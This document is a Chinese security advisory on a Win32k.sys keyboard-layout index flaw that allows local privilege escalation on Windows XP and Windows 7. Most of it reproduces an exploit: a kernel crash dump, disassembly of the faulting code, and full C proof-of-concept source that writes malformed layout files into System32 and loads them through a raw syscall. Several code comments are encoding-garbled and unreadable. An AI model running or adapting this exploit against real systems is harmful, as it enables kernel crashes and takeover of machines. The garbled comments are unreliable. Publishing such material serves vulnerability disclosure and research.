安全研究

安全漏洞
Microsoft Windows Kernel "Win32k.sys"键盘布局本地权限提升漏洞

发布日期:2011-11-22
更新日期:2011-11-23

受影响系统:
Microsoft Windows XP
Microsoft Windows 7
描述:
BUGTRAQ  ID: 50763

Microsoft Windows是流行的计算机操作系统。

Win32k.sys在实现上存在索引错误,在加载键盘布局文件时,本地攻击者可通过访问无效内存位置,利用此漏洞以内核权限执行任意代码,完全控制受影响计算机。


<*来源:instruder
  
  链接:http://www.exploit-db.com/exploits/18140/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

instruder ()提供了如下测试方法:

Crash:
/*
win7
Access violation - code c0000005 (!!! second chance !!!)
win32k!ReadLayoutFile+0x62:
9566d591 8b4834          mov     ecx,dword ptr [eax+34h]
kd> r
eax=ffffffe8 ebx=00000000 ecx=fe978b2e edx=000000e0 esi=fe4e0168 edi=00000000
eip=9566d591 esp=985ad8a0 ebp=985ad8bc iopl=0         nv up ei pl nz ac pe cy
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010217
win32k!ReadLayoutFile+0x62:
9566d591 8b4834          mov     ecx,dword ptr [eax+34h] ds:0023:0000001c=????????

kd> kb
ChildEBP RetAddr  Args to Child              
985acf5c 83d1b083 00000003 bc9827e2 00000065 nt!RtlpBreakWithStatusInstruction
985acfac 83d1bb81 00000003 985ad3b0 00000000 nt!KiBugCheckDebugBreak+0x1c
985ad370 83d1af20 0000008e c0000005 9566d591 nt!KeBugCheck2+0x68b
985ad394 83cf108c 0000008e c0000005 9566d591 nt!KeBugCheckEx+0x1e
985ad7bc 83c7add6 985ad7d8 00000000 985ad82c nt!KiDispatchException+0x1ac
985ad824 83c7ad8a 985ad8bc 9566d591 badb0d00 nt!CommonDispatchException+0x4a
985ad8bc 9566dc6a fe4e0168 80000984 00000160 nt!Kei386EoiHelper+0x192
985ad8dc 95669b7b 80000984 00000160 000001ae win32k!LoadKeyboardLayoutFile+0x70
985ad968 9567c21e 883bf4b0 80000984 08040804 win32k!xxxLoadKeyboardLayoutEx+0x1be
985ad9a4 9566a275 883bf4b0 80000984 08040804 win32k!xxxSafeLoadKeyboardLayoutEx+0x93
985add0c 83c7a1ea 00000038 00000160 000001ae win32k!NtUserLoadKeyboardLayoutEx+0x119
985add0c 777970b4 00000038 00000160 000001ae nt!KiFastCallEntry+0x12a
001ff470 0111c58c 0111c76a 00000038 00000160 ntdll!KiFastSystemCallRet
WARNING: Stack unwind information not available. Following frames may be wrong.
001ff9f8 0111c956 00000000 00000000 7ffd9000 ms10_73+0x2c58c

Details&pound;&ordm;
WIN7  
.text:BF80D538                 push    eax             ; int
.text:BF80D539                 push    40000h          ; int
.text:BF80D53E                 push    40h             ; int
.text:BF80D540                 push    [ebp+start_buffer] ; FileHandle
.text:BF80D543                 mov     [ebp+plength], ebx
.text:BF80D546                 mov     [ebp+ppbuffer], ebx
.text:BF80D549                 mov     [ebp+var_10], ebx
.text:BF80D54C                 call    _LoadFileContent@20 ; LoadFileContent(x,x,x,x,x)
.text:BF80D551                 test    eax, eax
.text:BF80D553                 jl      loc_BF80D6F1
.text:BF80D559                 mov     ecx, [ebp+ppbuffer]  &sup1;&sup1;&Ocirc;ì&para;&Ntilde;&micro;&Oslash;&Ouml;·+3ch&acute;&brvbar;&micro;&Auml;dword =0xffffffxx &frac14;&acute;&iquest;&Eacute;&Egrave;&AElig;&sup1;&yacute;&frac14;ì&sup2;&acirc;&pound;&not;&micro;&frac14;&Ouml;&Acirc;BSOD
.text:BF80D55C                 mov     eax, [ecx+3Ch]    //&ETH;è&Ograve;&ordf;&sup2;&Acirc;&sup2;&acirc;&para;&Ntilde;&micro;&Auml;&micro;&Oslash;&Ouml;·
.text:BF80D55F                 add     eax, ecx
.text:BF80D561                 cmp     eax, ecx
.text:BF80D563                 jb      loc_BF80D6F1
.text:BF80D569                 mov     ecx, [ebp+plength]
.text:BF80D56C                 mov     edx, [ebp+ppbuffer]
.text:BF80D56F                 add     ecx, edx
.text:BF80D571                 lea     edx, [eax+0F8h]
.text:BF80D577                 mov     [ebp+plength], ecx
.text:BF80D57A                 cmp     edx, ecx
.text:BF80D57C                 jnb     loc_BF80D6F1
.text:BF80D582                 mov     ecx, [eax+34h]    ----->crash


winxp

.text:BF8821D7                 push    eax             ; ViewSize
.text:BF8821D8                 push    esi             ; SectionOffset
.text:BF8821D9                 push    esi             ; CommitSize
.text:BF8821DA                 push    esi             ; ZeroBits
.text:BF8821DB                 lea     eax, [ebp+BaseAddress]
.text:BF8821DE                 push    eax             ; BaseAddress
.text:BF8821DF                 push    0FFFFFFFFh      ; ProcessHandle
.text:BF8821E1                 push    [ebp+Handle]    ; SectionHandle
.text:BF8821E4                 call    ds:__imp__ZwMapViewOfSection@40 ; ZwMapViewOfSection(x,x,x,x,x,x,x,x,x,x)
.text:BF8821EA                 test    eax, eax
.text:BF8821EC                 jl      loc_BF88238A
.text:BF8821F2                 mov     ecx, [ebp+BaseAddress]
.text:BF8821F5                 mov     eax, [ecx+3Ch]
.text:BF8821F8                 add     eax, ecx
.text:BF8821FA                 movzx   edx, word ptr [eax+6] -----&iexcl;&micro;crash



// poc.cpp : &para;¨&Ograve;&aring;&iquest;&Oslash;&Ouml;&AElig;&Igrave;¨&Oacute;&brvbar;&Oacute;&Atilde;&sup3;&Igrave;&ETH;ò&micro;&Auml;&Egrave;&euml;&iquest;&Uacute;&micro;&atilde;&iexcl;&pound;
//

#include "stdafx.h"


#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>

#pragma comment(lib,"User32.lib")

#define MAGIC_OFFSET 0x6261
#define WIN7 1
#define InitializeUnicodeStr(p,s) {     \
  (p)->Length= wcslen(s)*2;           \
  (p)->MaximumLength = wcslen(s)*2+2; \
  (p)->Buffer = s;                \
}
#if WIN7

_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(
IN HANDLE Handle,
IN DWORD offTablelow,
IN DWORD offTableHigh,
IN PUNICODE_STRING puszKeyboardName,
IN HKL hKL,
IN PUNICODE_STRING puszKLID,
IN DWORD dwKLID,
IN UINT Flags
)
{
  __asm
  {
    mov     eax,11E3h
      mov edx, 7ffe0300h
      call dword ptr [edx]
     ret     20h
  }
}
#else
_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx
(
IN HANDLE Handle,
IN DWORD offTable,
IN PUNICODE_STRING puszKeyboardName,
IN HKL hKL,
IN PUNICODE_STRING puszKLID,
IN DWORD dwKLID,
IN UINT Flags
)
{
  __asm
  {
    mov eax, 000011c6h
      mov edx, 7ffe0300h
      call dword ptr [edx]
    retn 1Ch
  }
}
#endif




unsigned char fakeDll2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35\x44\x01"//0x40 00 00 00   base=fdbbca98 fdbbca00 02443500
"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"//
"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00"
"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xFF\xFF\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//crash?? 94 10
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//index
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";

;
UNICODE_STRING  uStr;
UNICODE_STRING uKerbordname;

VOID boom_loadlayout()
{
      
  KEYBDINPUT      kb={0};
  INPUT           vInput={0};

  HANDLE          hFile;
  DWORD           dwFuckS0ny;

  HKL             hKbd;

  WCHAR           lpPath[MAX_PATH]={0};
  WCHAR           lpLayoutFile[MAX_PATH]={L"C:\\Windows\\System32\\lSp0wns.boom111"};

  LPVOID          lpShellPtr;


  
  
  //strcpy( lpLayoutFile, L"%lSp0wns.boom111", lpPath);
  
  hFile = CreateFileW(lpLayoutFile,
    GENERIC_READ|GENERIC_WRITE,
    FILE_SHARE_READ|FILE_SHARE_WRITE,
    0,
    CREATE_ALWAYS,
    0,0);

  if( hFile == INVALID_HANDLE_VALUE )
  {
    printf(" \n[!!] Error:errorcode:%x\n",GetLastError());
    exit(0);
  }

  WriteFile(  hFile,
    fakeDll2,
    sizeof(fakeDll2)-1,
    &dwFuckS0ny,
    NULL);
  //printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny);
  CloseHandle(hFile);

  hFile = CreateFileW (lpLayoutFile,
    GENERIC_READ,
    FILE_SHARE_READ,
    0,
    OPEN_EXISTING,
    0,0);

  if( hFile == INVALID_HANDLE_VALUE )
  {
    printf(" \n[!!] Error\n");
    exit(0);
  }
  hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
  printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,0x01AE,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101
  /*HKL NTAPI NtUserLoadKeyboardLayoutEx  (  IN HANDLE   Handle,
  IN DWORD   offTable,
  IN PUNICODE_STRING   puszKeyboardName,
  IN HKL   hKL,
  IN PUNICODE_STRING   puszKLID,
  IN DWORD   dwKLID,
  IN UINT   Flags  
  )  */
  //win7&Iuml;&Acirc;&Atilde;&aelig;&Otilde;&acirc;&cedil;&ouml;&ordm;&macr;&Ecirc;&yacute;&Ecirc;&Ccedil;&cedil;&ouml;&sup2;&Icirc;&Ecirc;&yacute;&Agrave;&acute;&AElig;&auml;&Ouml;&ETH;offTable&sup2;&eth;·&Ouml;&sup3;&Eacute;&cedil;&ouml;
  //&Icirc;&Auml;&frac14;&thorn;&Ograve;&raquo;&para;¨&Ograve;&ordf;·&Aring;&Ocirc;&Uacute;system32&Auml;&iquest;&Acirc;&frac14;&Iuml;&Acirc;&Atilde;&aelig;&sup2;&raquo;&Egrave;&raquo;&acute;&yen;·&cent;&sup2;&raquo;&Aacute;&Euml;


  CloseHandle(hFile);
  //printf("\n[+] Done\n");
}
int _tmain(int argc, _TCHAR* argv[])
{

  LoadLibraryA("user32.dll");
  InitializeUnicodeStr(&uStr,L"p3d.dll");//&Iuml;&Ouml;&Ocirc;&Uacute;±&Oslash;&ETH;&euml;&ETH;&iexcl;&Oacute;&Uacute;&sup3;¤&para;&Egrave;
  //fix by instruder
  InitializeUnicodeStr(&uKerbordname,L"A");
  uKerbordname.MaximumLength=0;
  
  for (int j=0;j<=2;j++)
  {
    for (int i1=0;i1<=0xff;i1++)
    {
      for (int i2=0;i2<0xff;i2++)
      {
        printf("%x,%x\n",i1,i2);
        fakeDll2[0x3d]=i1;
        fakeDll2[0x3e]=i2;
        fakeDll2[0x3f]=j;
        boom_loadlayout();

      }
    }
  }
  


  return 0;
}//

建议:
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/windowsxp/default.asp

浏览次数:3411
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障